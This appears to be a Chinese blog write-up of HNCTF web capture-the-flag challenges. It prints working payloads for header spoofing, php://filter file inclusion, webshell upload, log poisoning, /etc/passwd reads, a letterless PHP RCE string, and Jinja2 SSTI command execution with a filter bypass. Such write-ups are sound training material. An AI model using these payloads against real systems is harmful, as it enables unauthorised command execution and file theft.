HNCTF wp

interesting_http:

post一个参数want试试,发现有反应,然后使want=flag

显示not admin,不要紧,抓包看到cookie是明文,且有user=notadmin,改成user=admin即可。

显示not location,这个考的是经验,一般验证本机是admin都要附加验证来源,伪造一个请求头来源:

X-Forwarded-for:127.0.0.1即可拿到flag

[Week1]2048

一个2048小游戏,20000分通关(感觉手打也能成功哈

但是聪明的ctfer从来不走正道,抓个包看看,啥也没有,推测是js,审计源码看到一个2048.js,进去再看

还是写了不少,还有很多乱码,应该是编码问题,加上这个排版,真的很难看,没有细细往下看,直接搜了score,找到游戏结束的逻辑判定

复制一下那段js语句丢到控制台就能拿到flag啦

 啊,要记得改前缀噢

[Week1]easy_html

出人意料的简单...,首页提示查看饼干(cookie)

 转换一下编码,是./f14g.php

于是转到f14g.php,是一个手机号验证,输入正确的手机号格式就能拿到flag。(我一开始就用burp发包过去的所以没察觉,之后看了眼题目,通过页面是输入不了十一位数字的,当然也可以用hackbar,没差)

 [Week1]Interesting_include

简单文件包含,首页提示flag在flag.php

payload:

?filter=php://filter/convert.base64-encode/resource=flag.php

 得到flag.php转码之后的base64字符串,重新解码即可拿到flag

(我也不知道为什么题目过滤了flag我还能直接用上flag.php。。)

[Week1]easy_upload

一个文件上传,啥也没过滤

直接传马

然后到upload/1.php去看,马写成功了,直接传命令拿flag

 [Week1]What is Web

看似一个简单的web页面,实则内藏flag,题目给出一个burp,摆明了让你抓包,果断抓包查看返回结果,一个简单base64解码,拿到flag。

[Week1]Challenge__rce

一开始网页空白,查看源代码可得hint

get方式传一个hint参数,查看源码了解这是一个代码执行漏洞题型

 

存在eval函数,观察正则过滤,是一个无字母rce题型,写一个小脚本看看还能用啥

<?php
for($i=1;$i<255;$i++){
    if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", chr($i))){
        echo chr($i).'<br>';
    }
}

 

其实能用的还是挺多的,利用 [],拿到array字符串,提取其中的a字母,构造一下payload

Payload:

$___.=[];$_=$___[3];$_++;$_++;$__=$_;$_++;$_++;$_++;$_++;$_=$__.++$_.$___[2];$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);

 难点是长度小于等于120...本payload刚好卡在120这里(擦汗)

为了不超过限定长度,构造的是$_GET[1]($_GET[2]); , 因此还需要传参拿到flag

上payload的时候记得url编码,不然特殊符号被转义了,执行不出来的

[WEEK2]easy_include

要求传入一个file参数,且对file进行了一些过滤,主要是伪协议方面

恰巧日志文件包含是不需要使用伪协议的,waf中也并没有过滤斜杠,给了足够的利用空间。

先试试?file=/etc/passwd 

包含成功了,那么接下来就是日志文件包含正常的ua写马上传日志执行命令 

[WEEK2]ez_SSTI

传一个name参数进去,有反应。

 

再验证ssti漏洞的存在。

 

找到我们要利用的类,在第138个。

 

看起来没有任何过滤 利用一个最简单的payload就能拿下。

payload:

 ?name={{().__class__.__bases__[0].__subclasses__()[137].__init__.__globals__.__builtins__['eval']("__import__('os').popen('cat f*').read()")}}

[WEEK3]ssssti

过滤了blacklist = ['\'', '"', 'args', 'os', '_']

使用request.cookies进行绕过

首先构造一个{{().__class__.__bases__[0].__subclasses__()}}查看子类

cookies的添加在后文有提到,拿到所有子类后筛选可用的子类 

这里找的是<class 'warnings.catch_warnings'>,在第60个

原payload:

{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')

修改后的payload:

?name={{()[request.cookies.a][request.cookies.b][0][request.cookies.c]()[59][request.cookies.d][request.cookies.e][request.cookies.f][request.cookies.g](request.cookies.h).getstatusoutput(request.cookies.i)}}

cookie的设置:

再提供一个file子类的做法:

file子类在第41个。

原payload:

{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }} 

修改后的payload:

?name={{()[request.cookies.a][request.cookies.b][0][request.cookies.c]()[40](request.cookies.d).read()}}

这里成功拿到了/etc/passwd 

接下来包含flag

拿到了,这里是略微取巧了,如果不知道flag的位置和名称,就没办法利用file子类读取了

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值